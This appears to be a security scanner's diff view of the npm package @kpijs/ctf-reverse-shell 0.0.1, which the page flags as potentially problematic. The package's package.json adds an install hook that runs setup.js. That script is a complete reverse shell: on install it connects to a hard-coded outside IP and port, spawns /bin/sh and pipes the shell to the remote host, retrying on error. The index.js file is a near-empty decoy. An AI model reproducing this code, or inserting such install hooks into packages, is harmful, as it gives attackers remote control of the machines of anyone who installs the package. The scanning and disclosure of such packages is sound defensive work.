@kpijs/ctf-reverse-shell 0.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @kpijs/ctf-reverse-shell might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +2 -0
  2. package/package.json +17 -0
  3. package/setup.js +21 -0
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ const version = '1.0'
2
+ export default version
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@kpijs/ctf-reverse-shell",
3
+ "author": "thezzisu <thezzisu@gmail.com>",
4
+ "version": "0.0.1",
5
+ "license": "AGPL-3.0-only",
6
+ "type": "module",
7
+ "scripts": {
8
+ "install": "node setup.js"
9
+ },
10
+ "dependencies": {},
11
+ "devDependencies": {},
12
+ "main": "index.js",
13
+ "files": [
14
+ "index.js",
15
+ "setup.js"
16
+ ]
17
+ }
package/setup.js ADDED
@@ -0,0 +1,21 @@
1
+ import net from 'net'
2
+ import { spawn } from 'child_process'
3
+
4
+ const HOST = '192.3.86.104'
5
+ const PORT = '1688'
6
+ const TIMEOUT = '5000'
7
+
8
+ function c(HOST, PORT) {
9
+ var client = new net.Socket()
10
+ client.connect(PORT, HOST, function () {
11
+ var sh = spawn('/bin/sh', [])
12
+ client.write('Connected\r\n')
13
+ client.pipe(sh.stdin)
14
+ sh.stdout.pipe(client)
15
+ })
16
+ client.on('error', function () {
17
+ setTimeout(c(HOST, PORT), TIMEOUT)
18
+ })
19
+ }
20
+
21
+ c(HOST, PORT)